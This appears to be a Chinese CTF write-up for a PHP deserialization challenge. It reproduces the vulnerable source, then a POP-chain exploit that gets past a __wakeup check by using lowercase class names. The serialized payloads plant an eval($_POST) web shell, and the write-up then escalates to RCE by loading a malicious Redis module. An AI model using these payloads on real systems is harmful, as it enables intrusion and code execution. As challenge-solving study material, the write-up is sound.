<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
很简单的pop链
但是我们需要绕过wakeup
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
这里有个过滤
让我们无法改变属性个数来绕
但是我们可以通过小写来绕过
在这里插入代码片<?php
class a{
function __construct(){
$this->code="phpinfo();";
}
}
class b{
public $a;
}
$c=new b();
$c->a=new a();
echo serialize($c);
//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}
成功绕过 但是我们发现不能进行命令执行 因为过滤很多函数
所以我们就需要绕过disable_functions
我们还是先连上蚁剑
<?php
class a{
function __construct(){
$this->code="eval($_POST[1]);";
}
}
class b{
public $a;
}
$c=new b();
$c->a=new a();
echo serialize($c);
//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
发现一个wsp文件
我们用vim恢复即可
这里就是提示我们去打redis
还给了密码
我们直接用蚁剑连
然后就是上传恶意的so文件,通过蚁剑的redis管理插件,进行ssrf,然后包含恶意so文件
恶意so地址
然后就是redis
MODULE LOAD "/var/www/html/exp.so"
然后rce就能得到flag了
希望这篇文章能帮助你!